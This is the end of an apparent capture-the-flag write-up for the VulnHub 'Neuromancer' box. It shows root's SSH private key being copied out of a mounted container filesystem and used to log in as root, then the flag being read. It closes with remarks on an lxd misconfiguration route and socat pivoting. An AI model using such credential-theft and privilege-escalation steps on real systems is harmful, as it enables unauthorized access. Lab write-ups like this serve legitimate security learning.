-rw-r--r-- 1 root root 400 Feb 13 21:36 authorized_keys
-rw------- 1 root root 1.8K Feb 13 21:35 id_rsa
-rw-r--r-- 1 root root 400 Feb 13 21:35 id_rsa.pub
-rw-r--r-- 1 root root 222 Jul 4 2018 known_hosts
root@renewing-ghost:/mnt/root/root#
Step 8: Copy over keys to your attacking box
The easiest way to do this while in the 'renewing-ghost' bash session was simply to cat the contents of id_rsa and id_rsa.pub to the screen, then copy/paste to your favorite text editor in your attacking box. Make sure to chmod 400
the files, otherwise the keys will be ignored when you attempt to use them (I wasted a bit of time wondering why on earth the keys weren't working until I did that).
Step 9: Log in as root to Neuromancer
This is the fun bit after all the hard work!
root@009-klvfi200:~# ssh -i /root/vulnhub/wintermute/neuromancer/exploit/root/id_rsa -p 34483 root@192.168.47.4
----------------------------------------------------------------
| Neuromancer Secure Remote Access |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police |
----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/exploit/root/id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
94 packages can be updated.
44 updates are security updates.
Last login: Sat Feb 16 13:14:53 2019 from 192.168.212.3
root@neuromancer:~#
Time to grab the usual details:
root@neuromancer:~# id
uid=0(root) gid=0(root) groups=0(root)
root@neuromancer:~# whoami
root
root@neuromancer:~# cat /root/flag.txt
be3306f431dae5ebc93eebb291f4914a
^^ pwnage! The box has been totally compromised! :-)
Conclusion
All in all, Neuromancer was an incredibly interesting machine. Just in order to get to it, I had to root another box (Straylight) and then learn how to use socat properly to pivot. Once I had a low priv shell on Neuromancer, the privesc enumeration was fairly straight forward ... at least for the kernel exploit route. However, I'm glad that I found the lxd route hiding in plain sight.
I've only ever dabbled in containers (Docker) before to do some lab work on specific vulnerabilities, but I'd never actually used a container configuration issue to gain root on the host. I searched around to determine if other writeups cover this angle, but I've not spotted any to date. So ... it's nice to do something new that others may find useful.
Cheers to cresote for an awesome learning experience, and also to @reboare for the great insight to the lxd issue, and @ropnop for the excellent socat article. I've learned a lot from you all, so this is a small way of me 'giving back'
p.s. As menioned earlier, stay tuned for a further update on how to create your own lxc container to 'play along' with my writeup.